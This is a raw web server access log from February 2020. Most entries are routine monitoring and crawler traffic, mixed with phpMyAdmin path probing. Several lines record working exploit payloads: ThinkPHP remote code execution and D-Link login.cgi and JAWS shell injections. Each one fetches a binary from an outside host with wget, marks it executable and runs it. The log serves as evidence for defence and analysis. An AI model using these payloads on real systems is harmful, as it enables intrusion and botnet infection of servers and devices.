143.92.56.10 - - [16/Feb/2020:18:50:16 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:16 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:17 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:17 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:17 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:17 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:17 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:18 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:18 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:18 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:18 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:19 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:19 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:19 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [16/Feb/2020:18:50:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.203.0.190 - - [16/Feb/2020:18:51:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:18:51:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.119.197 - - [16/Feb/2020:18:52:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [16/Feb/2020:18:52:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.183.159.124 - - [16/Feb/2020:18:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [16/Feb/2020:18:53:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:54:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:55:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:56:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:57:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:18:58:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.213.205.85 - - [16/Feb/2020:18:59:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:18:59:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.67.8.37 - - [16/Feb/2020:19:00:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:19:00:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
157.55.39.29 - - [16/Feb/2020:19:01:00 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.39.207 - - [16/Feb/2020:19:01:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [16/Feb/2020:19:01:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:02:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:03:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:04:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.90.243 - - [16/Feb/2020:19:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
121.164.35.72 - - [16/Feb/2020:19:05:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [16/Feb/2020:19:05:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [16/Feb/2020:19:05:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:19:05:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [16/Feb/2020:19:06:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [16/Feb/2020:19:06:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:19:06:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:07:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.116.39.80 - - [16/Feb/2020:19:08:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [16/Feb/2020:19:08:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:09:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:10:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:11:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:12:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:13:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:14:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:15:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:16:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:17:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:18:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:19:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:20:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:21:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:22:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:23:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:24:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:25:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:26:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:27:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:28:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.208.30.10 - - [16/Feb/2020:19:29:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [16/Feb/2020:19:29:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.242.169.171 - - [16/Feb/2020:19:30:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.161.114.218 - - [16/Feb/2020:19:30:41 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [16/Feb/2020:19:30:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:31:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:32:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:33:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.213.156 - - [16/Feb/2020:19:33:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:19:34:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:35:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:36:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:37:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:38:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.102.8.34 - - [16/Feb/2020:19:39:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:19:39:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:40:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:41:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.161.92.30 - - [16/Feb/2020:19:42:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:19:42:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:43:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:44:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.127.44.80 - - [16/Feb/2020:19:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [16/Feb/2020:19:45:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:46:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:47:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:48:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:49:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.107.207.226 - - [16/Feb/2020:19:49:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
202.107.207.226 - - [16/Feb/2020:19:49:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
202.107.207.226 - - [16/Feb/2020:19:49:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
202.107.207.226 - - [16/Feb/2020:19:49:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
202.107.207.226 - - [16/Feb/2020:19:49:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
202.107.207.226 - - [16/Feb/2020:19:49:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
202.107.207.226 - - [16/Feb/2020:19:49:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
202.107.207.226 - - [16/Feb/2020:19:49:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
202.107.207.227 - - [16/Feb/2020:19:50:10 +0100] "CONNECT www.baidu.com:443 HTTP/1.0" 405 343 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
202.107.207.226 - - [16/Feb/2020:19:50:29 +0100] "GET http://www.ip138.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
212.91.246.72 - - [16/Feb/2020:19:50:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:51:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.254.202.38 - - [16/Feb/2020:19:52:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:19:52:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.238.44.237 - - [16/Feb/2020:19:53:06 +0100] "CONNECT www.baidu.com:443 HTTP/1.0" 405 343 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
60.191.20.213 - - [16/Feb/2020:19:53:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
60.191.20.213 - - [16/Feb/2020:19:53:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
60.191.20.213 - - [16/Feb/2020:19:53:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
60.191.20.213 - - [16/Feb/2020:19:53:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
60.191.20.213 - - [16/Feb/2020:19:53:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
60.191.20.213 - - [16/Feb/2020:19:53:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
60.191.20.213 - - [16/Feb/2020:19:53:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
60.191.20.213 - - [16/Feb/2020:19:53:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
37.191.208.220 - - [16/Feb/2020:19:53:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:19:53:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
142.93.75.156 - - [16/Feb/2020:19:54:15 +0100] "GET / HTTP/1.1" 200 1229 "http://www.friedrich-list-berlin.de" "Mozilla/5.0 (X11; Datanyze; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
142.93.75.156 - - [16/Feb/2020:19:54:28 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36"
115.238.44.237 - - [16/Feb/2020:19:54:43 +0100] "GET http://www.ip138.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
212.91.246.72 - - [16/Feb/2020:19:54:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:55:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.40.50.131 - - [16/Feb/2020:19:56:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:19:56:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:57:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:58:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:19:59:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.5.40.117 - - [16/Feb/2020:20:00:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:20:00:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.154.107.39 - - [16/Feb/2020:20:01:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:20:01:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:02:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.115.40.30 - - [16/Feb/2020:20:03:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.254.89.63 - - [16/Feb/2020:20:03:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:20:03:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:04:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:05:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:06:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:07:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.180.86.47 - - [16/Feb/2020:20:08:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
13.66.248.105 - - [16/Feb/2020:20:08:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:20:08:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:09:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
